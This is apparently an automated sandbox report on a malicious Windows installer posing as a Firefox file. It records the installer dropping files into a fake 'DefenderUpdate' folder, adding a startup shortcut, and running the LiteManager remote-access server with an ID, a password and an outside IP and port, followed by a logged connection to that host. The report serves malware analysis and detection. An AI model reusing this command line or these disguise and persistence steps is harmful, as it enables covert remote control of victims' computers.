File name:

2C43.tmp

Full analysis: https://app.any.run/tasks/b6cb63d0-939d-4463-bbce-ff648a891086
Verdict: Malicious activity
Analysis date: September 19, 2019, 11:46:04
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5:

D20467C3B4DE23EF542E1734BE6AA4E8

SHA1:

A56CE84E48B49944FD07AD9EACA4BA5AAFD53944

SHA256:

7B4F6CFCE0D63972575BA3AD33A2886AC86D9C60F4C0AB002520A414C53403D4

SSDEEP:

49152:/YC0wC2wWQfdYDcmrRczqRR8FsPPnjXTCY2W:/YgC2EQplOFGC/W

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Writes to a start menu file

      • 2C43.tmp.exe (PID: 3612)
    • Loads dropped or rewritten executable

      • 2C43.tmp.exe (PID: 3612)
      • ROMServer.exe (PID: 3364)
    • Application was dropped or rewritten from another process

      • DefenderUpdate.exe (PID: 3496)
      • WFD.exe (PID: 3276)
      • ROMServer.exe (PID: 3364)
  • SUSPICIOUS

    • Executable content was dropped or overwritten

      • 2C43.tmp.exe (PID: 3612)
    • Creates files in the user directory

      • 2C43.tmp.exe (PID: 3612)
    • Reads Environment values

      • ROMServer.exe (PID: 3364)
    • Reads Windows Product ID

      • ROMServer.exe (PID: 3364)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ (generic) (67.4)
.dll | Win32 Dynamic Link Library (generic) (14.2)
.exe | Win32 Executable (generic) (9.7)
.exe | Generic Win/DOS Executable (4.3)
.exe | DOS Executable Generic (4.3)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:01:30 04:57:38+01:00
PEType: PE32
LinkerVersion: 6
CodeSize: 25088
InitializedDataSize: 118784
UninitializedDataSize: 1024
EntryPoint: 0x3328
OSVersion: 4
ImageVersion: 6
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 58.0.0.7
ProductVersionNumber: 58.0.0.7
FileFlagsMask: 0x0000
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
FileDescription: Firefox Corporation
FileVersion: 58.0.0.7
LegalCopyright: -

Summary

Architecture: IMAGE_FILE_MACHINE_I386
Subsystem: IMAGE_SUBSYSTEM_WINDOWS_GUI
Compilation Date: 30-Jan-2018 03:57:38
Detected languages:
  • English - United States
FileDescription: Firefox Corporation
FileVersion: 58.0.0.7
LegalCopyright: -

DOS Header

Magic number: MZ
Bytes on last page of file: 0x0090
Pages in file: 0x0003
Relocations: 0x0000
Size of header: 0x0004
Min extra paragraphs: 0x0000
Max extra paragraphs: 0xFFFF
Initial SS value: 0x0000
Initial SP value: 0x00B8
Checksum: 0x0000
Initial IP value: 0x0000
Initial CS value: 0x0000
Overlay number: 0x0000
OEM identifier: 0x0000
OEM information: 0x0000
Address of NE header: 0x000000D8

PE Headers

Signature: PE
Machine: IMAGE_FILE_MACHINE_I386
Number of sections: 5
Time date stamp: 30-Jan-2018 03:57:38
Pointer to Symbol Table: 0x00000000
Number of symbols: 0
Size of Optional Header: 0x00E0
Characteristics:
  • IMAGE_FILE_32BIT_MACHINE
  • IMAGE_FILE_EXECUTABLE_IMAGE
  • IMAGE_FILE_LINE_NUMS_STRIPPED
  • IMAGE_FILE_LOCAL_SYMS_STRIPPED
  • IMAGE_FILE_RELOCS_STRIPPED

Sections

Name
Virtual Address
Virtual Size
Raw Size
Charateristics
Entropy
.text
0x00001000
0x00006077
0x00006200
IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
6.40397
.rdata
0x00008000
0x00001248
0x00001400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
5.04426
.data
0x0000A000
0x0001A838
0x00000400
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
5.22445
.ndata
0x00025000
0x00008000
0x00000000
IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
0
.rsrc
0x0002D000
0x00000C20
0x00000E00
IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
4.06334

Resources

Title
Entropy
Size
Codepage
Language
Type
1
5.2992
830
UNKNOWN
English - United States
RT_MANIFEST
103
2.16096
20
UNKNOWN
English - United States
RT_GROUP_ICON
105
2.66174
256
UNKNOWN
English - United States
RT_DIALOG
106
2.88094
284
UNKNOWN
English - United States
RT_DIALOG
111
2.48825
96
UNKNOWN
English - United States
RT_DIALOG

Imports

ADVAPI32.dll
COMCTL32.dll
GDI32.dll
KERNEL32.dll
SHELL32.dll
USER32.dll
ole32.dll
No data.
screenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
36
Monitored processes
4
Malicious processes
0
Suspicious processes
3

Behavior graph

Click at the process to see the details
drop and start start 2c43.tmp.exe defenderupdate.exe no specs wfd.exe no specs romserver.exe

Process information

PID
CMD
Path
Indicators
Parent process
3276"C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\WFD.exe" C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\WFD.exeDefenderUpdate.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
9
Modules
Images
c:\users\admin\appdata\roaming\microsoft\defenderupdate\wfd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imm32.dll
3364ROMServer.exe /ID:2B6126799605EF42 /PASSWORD:77755531 /NOIPIP:185.248.161.31 /NOIPPORT:7775C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\ROMServer.exe
DefenderUpdate.exe
User:
admin
Integrity Level:
MEDIUM
Description:
ROMServer
Exit code:
0
Version:
4.8.0.0
Modules
Images
c:\users\admin\appdata\roaming\microsoft\defenderupdate\romserver.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\ole32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
3496"C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\DefenderUpdate.exe" C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\DefenderUpdate.exe2C43.tmp.exe
User:
admin
Integrity Level:
MEDIUM
Exit code:
2420428
Modules
Images
c:\users\admin\appdata\roaming\microsoft\defenderupdate\defenderupdate.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
3612"C:\Users\admin\AppData\Local\Temp\2C43.tmp.exe" C:\Users\admin\AppData\Local\Temp\2C43.tmp.exe
explorer.exe
User:
admin
Integrity Level:
MEDIUM
Description:
Firefox Corporation
Exit code:
0
Version:
58.0.0.7
Modules
Images
c:\users\admin\appdata\local\temp\2c43.tmp.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\shell32.dll
Total events
851
Read events
795
Write events
56
Delete events
0

Modification events

(PID) Process:(3612) 2C43.tmp.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3612) 2C43.tmp.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3496) DefenderUpdate.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
0
(PID) Process:(3496) DefenderUpdate.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
1
(PID) Process:(3364) ROMServer.exeKey:HKEY_CURRENT_USER\Software\LiteManager\v3.4\Server\Parameters
Operation:writeName:qs_exename
Value:
ROMServer.exe
(PID) Process:(3364) ROMServer.exeKey:HKEY_CURRENT_USER\Software\LiteManagerTeam\LiteManager\v3.4\Config
Operation:writeName:ServerExe
Value:
C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\ROMServer.exe
(PID) Process:(3364) ROMServer.exeKey:HKEY_CURRENT_USER\Software\LiteManager\v3.4\Server\Parameters
Operation:writeName:FUSClientPath
Value:
C:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\ROMFUSClient.exe
(PID) Process:(3364) ROMServer.exeKey:HKEY_CURRENT_USER\Software\LiteManager\v3.4\Server\Parameters
Operation:writeName:version
Value:
4855
(PID) Process:(3364) ROMServer.exeKey:HKEY_CURRENT_USER\Software\LiteManager\v3.4\Server\Parameters
Operation:writeName:ChangeSettings
Value:
01000000
(PID) Process:(3364) ROMServer.exeKey:HKEY_CURRENT_USER\Software\LiteManager\v3.4\Server\Parameters
Operation:writeName:ID (read only)
Value:
2B6126799605EF42
Executable files
5
Suspicious files
0
Text files
0
Unknown types
1

Dropped files

PID
Process
Filename
Type
36122C43.tmp.exeC:\Users\admin\AppData\Local\Temp\nsq9EF5.tmp
MD5:
SHA256:
36122C43.tmp.exeC:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\DefenderUpdate.exeexecutable
MD5:
SHA256:
36122C43.tmp.exeC:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\winmm.dllexecutable
MD5:
SHA256:
36122C43.tmp.exeC:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\ROMServer.exeexecutable
MD5:
SHA256:
36122C43.tmp.exeC:\Users\admin\AppData\Local\Temp\nsq9EF6.tmp\System.dllexecutable
MD5:B0C77267F13B2F87C084FD86EF51CCFC
SHA256:A0CAC4CF4852895619BC7743EBEB89F9E4927CCDB9E66B1BCD92A4136D0F9C77
36122C43.tmp.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows Defender Update.lnklnk
MD5:
SHA256:
36122C43.tmp.exeC:\Users\admin\AppData\Roaming\Microsoft\DefenderUpdate\WFD.exeexecutable
MD5:
SHA256:
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
0
TCP/UDP connections
2
DNS requests
3
Threats
0

HTTP requests

No HTTP requests
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3364
ROMServer.exe
185.248.161.31:7775
unknown

DNS requests

Domain
IP
Reputation
dns.msftncsi.com
  • 131.107.255.255
shared

Threats

No threats detected
No debug info